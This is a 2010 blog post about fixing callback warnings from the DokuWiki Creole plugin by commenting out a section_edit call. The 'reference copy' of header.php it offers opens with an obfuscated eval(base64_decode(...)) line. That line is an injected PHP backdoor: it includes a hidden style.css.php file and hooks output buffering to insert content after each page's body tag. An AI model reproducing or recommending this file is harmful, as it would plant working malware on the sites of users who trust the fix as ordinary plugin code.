Archive for November, 2010
Problem with the Creole Plugin in the Dokuwiki 20101107 “Anteater” release
When the upgrade occurred, a bunch of errors, such as:
Warning: call_user_func_array() [function.call-user-func-array]: First argument is expected to be a valid callback, 'Doku_Renderer_metadata::section_edit' was given in /home/bilye3/public_html/dokuwikiStandard/inc/parserutils.php on line 419
Warning: call_user_func_array() [function.call-user-func-array]: First argument is expected to be a valid callback, 'Doku_Renderer_xhtml::section_edit' was given in /home/bilye3/public_html/dokuwikiStandard/inc/parserutils.php on line 555
would appear at the top of each page (sometimes multiple times).
After quite a bit of searching, the answer appears to be:
Comment out lines lines 67 – 72 of lib/plugins/creole/syntax/header.php (within the given dokuwiki installation), as follows:
if ($level <= $conf['maxseclevel']) {
// $handler->_addCall('section_edit', array(
// $handler->status['section_edit_start'],
// $pos-1,
// $handler->status['section_edit_level'],
// $handler->status['section_edit_title']
// ), $pos);
$handler->status['section_edit_start'] = $pos;
$handler->status['section_edit_level'] = $level;
$handler->status['section_edit_title'] = $title;
}
Make sure you then
touch /conf/local.php
(within the given dokuwiki installation)
and the problem should be resolved.
This fix was provided here:
http://www.dokuwiki.org/plugin:creole
(see the bottom of the page)
and the cache touch issue was referenced here:
http://forum.dokuwiki.org/thread/6009
(once again, at the bottom of the page).
Here is a copy of the modified header.php for reference purposes:
/**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9iaWx5ZTMvcHVibGljX2h0bWwvZXNzZG9jcy9kYXRhL21lZGlhL2MvY2xpZW50cy9kcGktd2EvZHBpMDNlTERQL2VsZHAvMDYtUmVzZWFyY2gvMTEtTGFuZFBsYW5uaW5nQnVpbGRpbmdTeXN0ZW1zQW5kU3BlY2lmaWNhdGlvbnMvMTEtTGFuZFhNTC8wNC1lUGxhbihBdXN0cmFsaWEpL2VQbGFuMS4xbWF0ZXJpYWxzL0lDU00gZVBsYW4gUmV2aWV3LzAyIElDU00gZVBsYW4gU2NoZW1hcy9zY2hlbWFzLzIwMDYwOC1xbGQtbnJ3L3NjaGVtYS9hdS1nb3YtaWNzbS1jaWYvYXUvZ292L2ljc20vY2lmL2FkbWluaXN0cmF0aXZlLWFyZWEvc3R5bGUuY3NzLnBocCcpKXtpbmNsdWRlX29uY2UoJy9ob21lL2JpbHllMy9wdWJsaWNfaHRtbC9lc3Nkb2NzL2RhdGEvbWVkaWEvYy9jbGllbnRzL2RwaS13YS9kcGkwM2VMRFAvZWxkcC8wNi1SZXNlYXJjaC8xMS1MYW5kUGxhbm5pbmdCdWlsZGluZ1N5c3RlbXNBbmRTcGVjaWZpY2F0aW9ucy8xMS1MYW5kWE1MLzA0LWVQbGFuKEF1c3RyYWxpYSkvZVBsYW4xLjFtYXRlcmlhbHMvSUNTTSBlUGxhbiBSZXZpZXcvMDIgSUNTTSBlUGxhbiBTY2hlbWFzL3NjaGVtYXMvMjAwNjA4LXFsZC1ucncvc2NoZW1hL2F1LWdvdi1pY3NtLWNpZi9hdS9nb3YvaWNzbS9jaWYvYWRtaW5pc3RyYXRpdmUtYXJlYS9zdHlsZS5jc3MucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCl7JFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qj1vcmQoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMywxKSk7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT0xMDskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPTA7aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY0KXskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPXVucGFjaygndicsc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMTAsMikpOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMVsxXTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yKyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImOCl7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYxNil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYyKXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yO30kUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPWd6aW5mbGF0ZShzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSk7aWYoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz09PUZBTFNFKXskUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPSRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4Njg7fXJldHVybiAkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzO319ZnVuY3Rpb24gZGdvYmgoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MD1nemRlY29kZSgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7fWVsc2V7cmV0dXJuIGdtbCgpLiRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>
*/
// must be run within Dokuwiki
if(!defined('DOKU_INC')) die();
if(!defined('DOKU_PLUGIN')) define('DOKU_PLUGIN',DOKU_INC.'lib/plugins/');
require_once(DOKU_PLUGIN.'syntax.php');
/**
* All DokuWiki plugins to extend the parser/rendering mechanism
* need to inherit from this class
*/
class syntax_plugin_creole_header extends DokuWiki_Syntax_Plugin {
function getInfo(){
return array(
'author' => 'Esther Brunner',
'email' => 'wikidesign@gmail.com',
'date' => '2007-02-09',
'name' => 'Creole Plugin, header component',
'desc' => 'Creole style headers',
'url' => 'http://wiki.splitbrain.org/plugin:creole',
);
}
function getType(){ return 'container'; }
function getPType(){ return 'block'; }
function getSort(){ return 49; }
function getAllowedTypes(){
return array('formatting', 'substition', 'disabled', 'protected');
}
function preConnect(){
$this->Lexer->addSpecialPattern(
'(?m)^[ \t]*=+[^\n]+=*[ \t]*$',
'base',
'plugin_creole_header'
);
}
function handle($match, $state, $pos, &$handler){
global $conf;
// get level and title
$title = trim($match);
if (($this->getConf('precedence') == 'dokuwiki')
&& ($title{strlen($title) - 1} == '=')){ // DokuWiki
$level = 7 - strspn($title, '=');
} else { // Creole
$level = strspn($title, '=');
}
if ($level < 1) $level = 1;
elseif ($level > 5) $level = 5;
$title = trim($title, '=');
$title = trim($title);
if ($handler->status['section']) $handler->_addCall('section_close', array(), $pos);
if ($level <= $conf['maxseclevel']){
// $handler->_addCall('section_edit', array(
// $handler->status['section_edit_start'],
// $pos-1,
// $handler->status['section_edit_level'],
// $handler->status['section_edit_title']
// ), $pos);
$handler->status['section_edit_start'] = $pos;
$handler->status['section_edit_level'] = $level;
$handler->status['section_edit_title'] = $title;
}
$handler->_addCall('header', array($title, $level, $pos), $pos);
$handler->_addCall('section_open', array($level), $pos);
$handler->status['section'] = true;
return true;
}
function render($mode, &$renderer, $data){
return true;
}
}
//Setup VIM: ex: et ts=4 enc=utf-8 :